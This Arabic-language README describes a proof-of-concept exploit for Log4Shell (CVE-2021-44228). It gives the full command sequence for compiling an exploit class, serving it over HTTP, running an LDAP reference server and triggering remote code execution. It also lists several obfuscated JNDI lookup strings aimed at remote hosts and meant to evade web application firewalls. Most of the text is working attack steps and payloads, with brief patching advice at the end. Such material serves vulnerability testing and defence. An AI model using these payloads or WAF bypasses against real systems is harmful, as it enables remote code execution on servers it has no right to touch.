
إثبات مفهوم لاستغلال ثغرة Log4Shell (CVE-2021-44228) يوضح تنفيذ الأكواد عن بُعد عبر حقن JNDI، بما في ذلك تجميع الحمولة، إعداد خادم LDAP، وتقنيات تجاوز جدار الحماية للتطبيقات (WAF).
إصدارات 1.x تحتوي على ثغرات أخرى، ننصحك بتحديثها إلى أحدث إصدار.
التنبيهات الأمنية / النشرات المرتبطة بـ Log4Shell (CVE-2021-44228)
قم بتنزيل هذا المشروع، وقم بتجميع كود الاستغلال blob/master/src/main/java/Exploit.java، ثم شغّل خادم ويب يسمح بتنزيل الملف الثنائي المُجمَّع.
git clone https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce.git
cd CVE-2021-44228-Apache-Log4j-Rce
javac Exploit.java
# تشغيل خادم الويب
# لـ Python2
python -m SimpleHTTPServer 8888
# لـ Python3
python3 -m http.server 8888
# تأكد من أن خادم الويب Python يعمل في نفس الدليل الذي يحتوي على Exploit.class، للاختبار
curl -I 127.0.0.1:8888/Exploit.class
قم بتنزيل مشروع آخر وشغّل تنفيذ خادم LDAP الذي يُرجع مراجع JNDI https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# يتطلب Java 8
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
قم ببناء وتشغيل كود التفعيل (محاكاة هجوم log4j على خادم ويب Java ضعيف) blob/master/src/main/java/log4j.java، وسيظهر تطبيق الآلة الحاسبة لديك.
cd CVE-2021-44228-Apache-Log4j-Rce
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# توقع ما يلي
# 1. ظهور تطبيق الآلة الحاسبة
# 2. في وحدة تحكم ldapserver،
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. في وحدة تحكم خادم الويب،
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
نصائح:
لا تعتمد على إصدار Java الحالي لإنقاذك. قم بتحديث Log4 (أو أزل بحث JNDI). عطّل التوسيع (يبدو فكرة سيئة على أي حال).
مثال:
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
لا تثق بجدار حماية تطبيقات الويب.
توفر عمليات البحث (Lookups) طريقة لإضافة قيم إلى تكوين Log4j في أماكن عشوائية.
الطرق المسببة للتسريب في النهاية
LogManager.getLogger().error()
LogManager.getLogger().fatal()
إذا كنت تريد إجراء اختبار الصندوق الأسود، أقترح عليك القيام بالمسح السلبي.
استمتع!!!
